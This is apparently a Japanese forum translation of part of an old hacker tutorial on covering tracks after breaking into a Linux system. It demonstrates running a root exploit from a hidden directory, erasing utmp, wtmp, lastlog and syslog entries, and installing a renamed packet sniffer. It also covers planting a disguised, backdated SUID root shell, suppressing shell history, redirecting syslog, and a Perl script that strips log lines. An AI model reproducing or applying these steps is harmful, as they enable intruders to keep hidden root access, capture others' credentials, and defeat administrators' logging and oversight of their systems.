お子様 UNIX 第7部


 投稿者:soujinin  投稿日:03月12日(木)

   ====================   お子様 UNIX   第7部  =======================

----------------------------
第6章  ログをきれいにする
Chapter VI
Cleaning the log files
----------------------------
  [訳注]
      ドキュメンタリータッチで始まります。
      その場にいる雰囲気で緊張してお楽しみください。

------------------------------
第6A章  システムを歩き回る
Section 6A
A walk around a hacked system
-------------------------------
私はこれを強調する。 Clean, Clean!!!!
これから君をシステムに連れて行き、いくつかの基本を示す。そしてどのように
自分の存在をシステムから消すかを。まず、システムにログインしよう。

ここでは一歩ずつ基本を見ていく。

  ******---->誰がマシンにいるか
[/home/master]finger @victim.net
[victim.net]
No one logged on.

  ******----> よろしい。誰もいない。ログインしよう。(*1)
[/home/master]telnet victim.net
Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on a i586


ns.victim.net login: jnsmith
Password:
Linux 1.2.13.
You have new mail.

  ******----> 彼のメールを読んではいけない。すべてのメールは /var/spool/mail
              あるいは、/home/username/mail ディレクトリで catする。
  ******----> 再び、誰がいるかチェックする。

[jnsmith@ns jnsmith]$ w
5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what
jnsmith   ttyp1     5:35am                      w

  ******----> 私だけだ。root を取って utmp を消そう。
[jnsmith@ns jnsmith]$ cd .term

  ******----> 隠すには良いディレクトリだ。;)
[jnsmith@ns .term]$ ./.u

  ******----> 私はすでにこれを作っておいた。umounc.c を使った。
            これは Bloodmask and Vio, Covin 1996 による。
  ******----> 我々は今や root だ。 z2 を使おう。(*2)

bash# z2 jnsmith
Zap2!

  ******---->まだ、我々がいるか見てみよう...
bash# w
5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
User     tty       login@  idle   JCPU   PCPU  what

  ******----> 誰もいない。どうやら私はログオフしたに違いない ;)
  ******----> 我々は root だ。しかしチェックしてみよう...
bash# whoami
root
bash#

  ******----> そう、root ..  どのディレクトリにいるか ?
bash# pwd
/home/jnsmith/.term

  ******----> ログをチェックしよう。
bash# cd /var/log

  ******----> ほとんどは /var/adm だ。このマシンは /var/log を使っている。(*3)
bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

  ******----> そう、z2 はすべての面倒を見てくれるわけではない ...
bash# pico maillog

  ******----> 私は pico で ctrl w, dormroom をサーチした。(*4)
              ctrl k で消す。

  ******----> これを削除した。
Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *

  ******---->  .. すべてクリアだ。;)
bash# w
5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what

  ******----> そう、 .. すべて消えている。;)

  ******----> もし、grep が何か示していたら、
              どのように lled と wted を使うか示そう。
bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
chmod lastlog.tmp を実行して /var/log/lastlog に上書きする。

  ******----> lastlog は消えた。
bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
chmod wtmp.tmp を実行して /var/log/wtmp を上書きする。

  ******----> wtmp には何もない。

  ******----> sniffing をやろう ... (*5)
bash# pico linsniffer.c

  ******----> 私は次の行を変えた。ログの場所だ。
#define TCPLOG "/tmp/.pinetemp.000"

  ******----> 何が走っているか調べよう。それから名前を決める。
bash# ps -aux
root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd

  ******----> コンパイルして名前を nmb にする。
bash# gcc linsniffer.c -o nmb

  ******----> ロードしよう ...
bash# nmb&
[1] 22171

  ******----> /tmp のログファイルをチェックしよう。
bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000

  ******----> ここにある。しかし我々のログインは知られたくない !
bash# chgrp root .pin*

  ******----> このようになる。 ....
bash# ls -al .pin*
-rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
bash#

  ******----> これでよい。次のために SUID shell を作っておこう。
              ( MD5 や cron の他のプログラムをチェック)
bash# cd /bin
bash# ls -l sh
lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash

  ******----> これはシンボリック・リンクだ ...
bash# ls -l bash
-rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash

  ******----> これが本当のファイルだ。ファイル名を決めよう。
bash# ls
arch           df             ksh            ping           tar
ash            dmesg          ln             ps             tcsh
bash           dnsdomainname  login          pwd            true
cat            domainname     ls             red            ttysnoops
chgrp          echo           mail           rm             umount
chmod          ed             mkdir          rmdir          uname
chown          false          mknod          sed            vi
cp             findterm       more           setserial      view
cpio           gunzip         mount          sh             vim
csh            gzip           mt             stty           zcat
date           hostname       mv             su             zsh
dd             kill           netstat        sync

  ******----> 新しい linux のコマンド.. 多くの admin は違いを良く知らない。
              findhost にしよう。
bash# cp bash findhost

  ******----> ok, 新しいコマンドに見えるようにしよう ...
bash# ls -l findhost
-rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost

  ******----> group と owner を変えなくてはいけない。ファイルの日付も。
              そして SUID にする。
bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost

bash# ls -l m*
-rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
-rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
-rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
-rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
-rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
-rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
-rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv

  ******----> まるでそこにあったようだ。root を与えてくれるか調べよう。
              今の shell から抜ける。
bash# exit
[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root

[jnsmith@ns /bin]# cd

  ******----> cd {enter} はホームディレクトリに連れ戻してくれる。
[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
-rw-rw-r--   1 root      root            4 Jan 29 06:11 test

  ******----> 我々は uid=0 gid=0 だ。
[jnsmith@ns jnsmith]# rm test

  ******----> 削除する .....
[jnsmith@ns jnsmith]# w
6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
User     tty       login@  idle   JCPU   PCPU  what

  ******----> 依然として我々だけだ ....
[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000

  ******----> すでに動いている ;)  (*6)
[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
-rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
-rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
-rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
-rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
-rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#

  ******----> .bash_history を /dev/null へリンクする。history を残さないように...
  もし古い .bash_history があったら消す。そしてリンクする。

  ln -s /dev/null .bash_history

  Ok ログアウトしよう ...

別の方法もある。
もし試してみたいのなら絶対に忘れてはいけない。これをログインする度に使う。
unset HISTFILE

これはシステムにログオフした時に history ファイルを消すように指示する。
これを使う。そして習慣にする。絶対に忘れてはいけない。

       ----------------------------------------------------------
(*1) root が ZAP2 を使っていない事を祈ろう。
(*2) ZAP2の他にもbanish etc ある。ZAP2+ はユーザー名を変更できる。
     これらはファイルを消しそこなってもエラーにならない。必ずチェックする事。
(*3) /var/adm と /var/log はリンクされている。
(*4) pico はテキストエディタ。サーチと行削除が簡単なのでこれを選んだと思われる。
(*5) くれぐれもプロミスキャスの旗をぱたぱたさせないように。:-p


-----------------------------------------------
セクション6B messagesとsyslog (ログファイル)
Section 6B
messages and syslog
------------------------------------------------
ログを保存するディレクトリで 'messages' というファイルが見つかるだろう。
それぞれのシステムで、何がログされるか、どのファイルに保存されるかは違う。
/etc/syslog.conf をチェックして他のマシンにログされていないか調べる。もし
これを行なっていたら、次のような設定がある。

*.*                                 @somehostname.xxx   (*1)

どこにログファイルがあるかチェックして、ログファイルを見る。
例えば ...

bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#

*.=info;*.=notice                               /var/adm/messages
*.=debug                                        /var/adm/debug
*.warn                                          /var/adm/syslog
*.warn                                          /root/.../syslog
*.=crit;kern.none                               /var/adm/critical
kern.info;kern.!err                             /var/adm/kernel-info
mail.*;mail.!=info                              /root/.../mail
mail,news.=info                                 /root/.../info
mail.*;mail.!=info                              /var/adm/mail
mail,news.=info                                 /var/adm/info
*.alert                                         root,bob       (*2)
*.=info;*.=notice                               @quality.com
*.=debug                                        @quality.com
*.warn                                          @quality.com
*.=crit;kern.none                               @quality.com
kern.info;kern.!err                             @quality.com
mail.*;mail.!=info                              @quality.com
mail,news.=info                                 @quality.com

いくつかのログは /root の隠しディレクトリに送られる。そしてすべての alert と
 warning のコピーもまた、quality.com に送られる。wtmp,utmp,lastlogはローカル
だ。まだ、望みがある。このシステムでは su を使わないことをにする。
また、このシステムでは、alert が root と bob のメールされることに注意する。

suslog,mail,info は /var/adm に送られているので、愚かにもすべてのログは
 /var/adm にあると考えてはいけない! もし /var/adm を編集しても管理者は
/root ディレクトリのバックアップファイルで、diff を行なうかも知れない。 

Ok, それでは /var/adm か /var/log へ行く。 (*3)

grep yourhost * |more
grep your ip * |more

いくつかのファイルが、君のコネクションを記録していることがわかる。どの
ファイルが記録しているか、メモする。そして /etc/syslog.conf をエディット
する。多くの場合、トライ&エラーを行ない、君のドメインからのログをスキッ
プさせる。

しかし、いくつかの事に注意しなければいけない。ファイルをエディットしたら、
syslogd をリスタートしなければいけない。ps -x を行なう。

$root> ps -x

39  ?  S    1:29 /usr/sbin/syslogd

syslogd が見つかりそのプロセスIDが 39 であることがわかる。そこで、

kill -HUP 39

これでプロセスがリスタートして変更が有効になる。

もうひとつ重要なことは、エディットする前に ls -l /etc/syslog.conf を行ない
エディット後にファイルの日付を touch で元の日付に戻す。これによりロギング
が違うを気づいても、ファイルの日付をチェックして他の原因だと思ってくれる
だろう。ほとんどの管理者はこのファイルのセットアップを良く知らない。そこ
で(ほとんど)うまくいく可能性がある。

別のファイルがある。
/etc/login.defs
# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB          yes
SYSLOG_SG_ENAB          yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE      /home/users/bob/.list    (訳注:su logの位置を指定)

su ログが管理者の一人の隠しファイルに送られている。   (*4)

       ----------------------------------------------------------
(*1) すべてのメッセージはリモートの somehostname.xxx にリダイレクトされる。
(*2) alert より高位のメッセージは root と bob のターミナルに送られる。
     (彼らがシステムにログインしていれば)
(*3) 重要なファイルの位置はシンボリックリンクされていることもある。
(*4) デフォルトでは su の記録は messages に送られる。login.defs で su ログの
     場所を指定すれば、両方に送られる。 

-------------------------------
セクション6C xferlog(転送ログ)
Section 6C
xferlog
-------------------------------
xferlog はテキストエディタで編集できる。pico, joe, vi, など..
自分の転送をサーチして、その行を削除してセーブする。どんなファイルを転送した
あとでも必ず行わなければならない。

もし、phf を使ったなら /usr/local/etc/httpd/log ディレクトリで grep して
そこから自分の存在を消す。

grep (ユーザー名 あるいは ホスト名) * |more

もし、httpd のログの位置が分からなかったら、find -name httpd.conf  を実行する。
 configファイルを調べると、どこに http ログがあるか分かる。

いくつかの ftp あるいは バーチャル ftp では、ディレクトリが異なる。
/etc/ftp* ファイルを調べて、どのように ftp がセットアップされているか調べる。

私は、pico,joe などのエディタを使い、どのようにログを編集するか教えた。
別の方法もある。時にはログファイルがエディタを使うには大きすぎることがある。
どのようにするか。

You have a messages file 20 meg ... わぉ !

fudge.candy.com をこのファイルから消す時には、このようにする。

    grep -v fudge.candy >messages.2
    rm messages
    mv messages2 messages

ここで、
    kill -HUP >process id for syslogd>

-v は grep がマッチしない行を出力する。grep の後でファイルサイズをチェックして
エラーが無い事を確かめた上でファイルを置き換えて、syslogd をリスタートさせる。

これは他のログ、xferlog, syslog... でも使える。
これはコマンドラインから行う perl スクリプトだ。
------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any 
#           lines MATCHING regular expression will *not* be printed to 
#           STDOUT. 
# 
#
die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];

# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
  # Use STDIN.
  $contents = scalar >STDIN>
} else {
  # Use FILE.
  open(FILE, ">$filename") || die("-RipText- Cannot open $filename: $!\n");
  $contents = scalar >FILE>
  close(FILE);
}

@contents = split(/\n/, $contents);

# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
foreach (@contents) {
  print FILE "$_\n" unless (/$regexp/i);
}
close(FILE);

0;
------------------------ end of riptext.pl
ファイルをエディットした後に、syslogd のリスタートを忘れない事。消えたと思
ってもプロセスをリスタートしなければ、リスタートさせるまで依然としてデータ
はメモリーにある。
また、syslogd がリスタートした時間は、syslog にある。

-----------------------------
セクション6D cron テーブル
Section 6D
The cron table
-----------------------------
管理者と root の cron ファイルはよく調べること。このシステムで我々は root の
cron ファイルを見つけた。/var/spool/cron/crontab にあった。
bash# ls -l
total 1
-rw-------   1 root     root          851 Jan 26 14:14 root

bash$ more root
# This updates the database for 'locate' every day:
40 07 * * *       updatedb 1> /dev/null 2> /dev/null
40 */12 * * *       /sbin/checkfs

これは /sbin の chekfs が走るファイルだ。
bash$ cd /sbin
bash$ /sbin # more checkfs
#!/bin/bash
if [ ! -f /etc/default/fs/.check ]; then
  echo WARNING!! Filecheck default file cannot be found. Please regenerate.
    exit
    fi
md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /lib/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1
if [ -s /tmp/filecheck2 ]; then
  mail -s FSCheck bin > /tmp/filecheck2
  fi
rm /tmp/filecheck /tmp/filecheck2 2>/dev/null

md5 はファイルをチェックする。もし上記のディレクトリのファイルに変更や追加が
あれば、その情報を管理者にメールする。

       ----------------------------------------------------------

[訳者後記]
Linux というのは、基本的にカーネルだけです。それにいろいろなコマンドやプログラ
ムくっつけて、配布パッケージとなっています。(ディストリビューションと呼ばれる)
従って同じ Linux でもかなり感じが違うものになっています。代表的なものは、
Slackware
RED HAT
DEBIAN
LINUXWARE
LINUX UNIVERSE ........

この中でも、RED HAT はバージョンアップのときに、バグの詳細な情報を出すので、
賛否両論があります。つまり、黙ってればいいのに悪用されそうな情報まで公開し
てしまう。(Muhihi)  バージョンアップしないと危険だ、と思ってしまう。
実際には、(CERTであっても)公開されてから実際にアタックが増えるまでには、数ヶ月
〜1年くらいの時間があります。なぜか秋になるとアタックが増えるというもの、事実
のようです。重大なバグだと思ってもちゃんと対策すれば、そんなに被害がでるもので
はありません。いずれにせよ、優秀な Spider や UeberCracker はどこからでも入って
来るでしょう。やはり、情報は公開してもらいたいものです。
  ....Unixの基本は、Free Information なのですから。

では、久しぶりに宿題です。
  1)ZAP2 を使っても、まだ存在を示すコマンドはあるか調べなさい。
      HINT: ps,netstat..
  2)md5 以外のファイルの変更を調べるツールを探しなさい。
      HINT: Tripwire..